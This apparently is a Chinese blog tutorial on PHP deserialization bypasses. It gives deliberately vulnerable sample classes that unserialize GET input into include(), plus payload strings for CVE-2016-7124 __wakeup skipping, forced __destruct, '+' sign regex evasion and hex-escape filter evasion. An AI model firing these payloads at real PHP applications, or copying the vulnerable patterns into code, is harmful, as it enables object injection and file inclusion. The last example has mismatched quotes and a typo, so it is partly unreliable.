反序列化简单绕过

本文探讨了PHP中序列化和反序列化过程中的特性,包括属性值覆盖、利用__wakeup和__destruct函数的执行控制,以及如何通过特定字符绕过检查。文章还介绍了漏洞利用案例和绕过特定正则的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 1.当序列化字符串不包含原先属性且语法正确的情况下,反序列化会输出类中原有的其他属性。

<?php 
class test{
    public $flagersdcxzertt= 'flag:{hellowordhhh}';
    public $name;

};
$a=new test();
// echo (serialize($a));
var_dump(unserialize($_GET['test']));
// O:4:"test":1:{s:1:"f";s:1:"f";}
highlight_file(__FILE__);
?>

这里随意构造一个属性名和属性值,注意要和类前属性个数一致

O:4:"test":1:{s:1:"f";s:1:"f";}

这时候输出结果会包含原有属性的值和你输入的值 

2. 序列化同属性值覆盖

<?php 
class people{
    public $name='lili';
    public $age='20';
}
//echo serialize(new people());
// O:6:"people":2:{s:4:"name";s:4:"lili";s:3:"age";s:2:"20";}
var_dump(unserialize('O:6:"people":2:{s:4:"name";s:4:"lili";s:4:"name";s:3:"abc";}'));
?>

序列化字符串出现重复的属性(代码中我们构造了另一个name属性,值为abc),在反序列化时后者会覆盖原先的值

输出结果: object(people)#1 (2) {["name"]=>string(3) "abc"["age"]=>string(2) "20"}

这里输出name值为abc,显然已被覆盖。同时也输出了age属性和值,验证了(1.当序列化字符串不包含原先属性且语法正确的情况下,反序列化会输出类中原有的其他属性。)

3.绕过__wakeup

__wakeup()魔术方法在执行unserialize()之前,会调用这个函数,而不会执行__construct()函数。

绕过方法:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

漏洞影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10

//CVE-2016-7124例题
<?php 
header('Content-Type: text/html; charset=utf-8');
class open{

    public $file='index.php';
function __wakeup()
{
    $this->file='index.php';

}
function __destruct()
{
   include($this->file);
}
}

if(isset($_GET['open']))
{
    $a=unserialize($_GET['open']);
}
else{
    $b=new open();
}
?>

(1)漏洞利用__destruct成功执行(反序列化之后自动执行),使得$file=flag.php用文件包含打开flag的文件。但是反序列化之前会先执行__wakeup()。

(2)__wakeup不执行使序列化中的属性个数数字表示大于实际属性个数

?open=O:4:"open":1:{s:4:"file";s:8:"flag.php";}  //不能得到flag

?open=O:4:"open":2:{s:4:"file";s:8:"flag.php";}  //成功得到flag

4.__destruct的强制触发

(1)直接new对象会被销毁

(2)给一个对象变量重新赋值之前的对象会被销毁

(3)使用unset也可以手动删除对象从而触发

(4)正常的实例对象会在脚本运行结束自动销毁

<?php
header('Content-Type: text/html; charset=utf-8');
class test{
    public $i;
function __construct($i) {$this->i = $i; }
function __destruct() { echo $this->i."被销毁...\n"; }
}
// 直接new对象会被销毁;
new test('1');

// 给一个对象变量重新赋值之前的对象会被销毁。
$a = new test('2');
$a = 1;

//使用unset也可以手动删除对象从而触发
$a=new test('3');
unset($a);

// 正常的实例对象会在脚本运行结束自动销毁
$a=new test('4');
echo "<br/>—————脚本结束——————<br/>"; 
?>

a:2:{i:0;O:4:"test":1:{s:1:"p";i:1;}i:1;N;}  //N表示空

a:2:{i:0;O:4:"test":1:{s:1:"p";i:1;}i:0;N;}  

因为反序列化的时候是从左到右依次进行,我们先将数array[0]赋值为test实例再将原来序列化字符串的arry[1]的角标改为0,使其后面的值覆盖掉arry[0]test实例达到强制触发__destruct

5.绕过特定正则('/^O:\d+/' )

preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头。

'/^O:\d+/' 是一个正则表达式模式,用于匹配以 “O:” 开头后面跟着一个或多个数字的字符串。^ 表示匹配字符串的开始位置。O: 匹配字面值 “O:”\d+ 匹配一个或多个数字。
绕过方法:

(1)利用加号绕过(注意在url里传参时+要编码为%2B)。

(2)利用数组对象绕过,如 serialize(array($a)); a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)

$a = 'O:+4:"test":1:{s:1:"b";s:3:"abc";}'; // +号绕过

6.16进制绕过简单字符的过滤

\73字符串中是以16进制表示的s(小写),一个\是转义字符。

同时表示数据类型的S要大写,在序列化字符串当中会被当作16进制解析

O:4:“test”:1:{s:8:“username”;s:5:“adm“n”;}

O:4:“test”:1:{S:8:“u\\73ername";s:5:"admin";}  //一个\是转义字符

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值